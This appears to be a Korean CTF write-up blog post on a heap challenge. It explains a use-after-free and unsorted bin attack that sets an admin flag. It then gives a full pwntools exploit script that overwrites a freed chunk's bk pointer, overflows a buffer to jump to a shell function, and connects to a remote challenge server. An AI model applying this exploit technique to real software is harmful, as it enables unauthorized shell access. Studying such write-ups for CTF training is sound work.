전형적인 힙 문제
힙 크기를 고려해 할당해주고 있다.
free할 때 초기화를 하지 않음으로서 취약점이 발생한다.
modifyfmf 통해 free된 청크를 수정함으로서 취약점이 발생한다.
admin 체크를 해서 성공하면 rop를 할 수 있다.
이 함수를 이용하면 쉘을 딸 수 있다.
익스 구상
1. unsorted bin에 들어갈 청크 크기만큼 힙 2개 할당
2. 첫번째 청크를 해제하고, 그 청크의 bk를 덮어쓸 주소(admin) - 16로 저장
3. 다시 할당 그러면 admin에 main_arena + 88이 저장됨
4. 4번 메뉴 선택 -> binsh 함수 실행시켜 쉘을 딴다
from pwn import *
context.log_level= 'debug'
def add(size, data):
p.sendafter('>>', '1')
p.sendafter('>>', str(size))
p.sendafter('>>', data)
def delete(idx):
p.sendafter('>>', '2')
p.sendafter('>>', str(idx))
def modify(idx, size, data):
p.sendafter('>>', '3')
p.sendafter('>>', str(idx))
p.sendafter('>>', str(size))
p.sendafter('>>', data)
#p = process('./bonu')
p = remote("pwnable.shop", 20210)
e = ELF('./bonu')
l = e.libc
shell = 0x4008B6
add(0x100, 'a')
add(0x100, 'a')
delete(0)
modify(0, 19, 'a'*8+p64(0x6020c0))
add(0x100, 'a')
p.sendafter('>>', '4')
payload = 'a' *0x30 + 'b' * 8
payload += p64(shell)
p.sendline(payload)
p.interactive()
'CTF write-up' 카테고리의 다른 글
[wargame.0x0.site] babyheap 라이트업 (0) | 2019.10.12 |
---|---|
Tokyo Western CTF 2017 - Parrot (0) | 2019.10.02 |
[hackingcamp2019] (0) | 2019.08.25 |
[hackingcamp2019]camp_note (0) | 2019.08.25 |
[dimi_ctf]ezheap (0) | 2019.07.15 |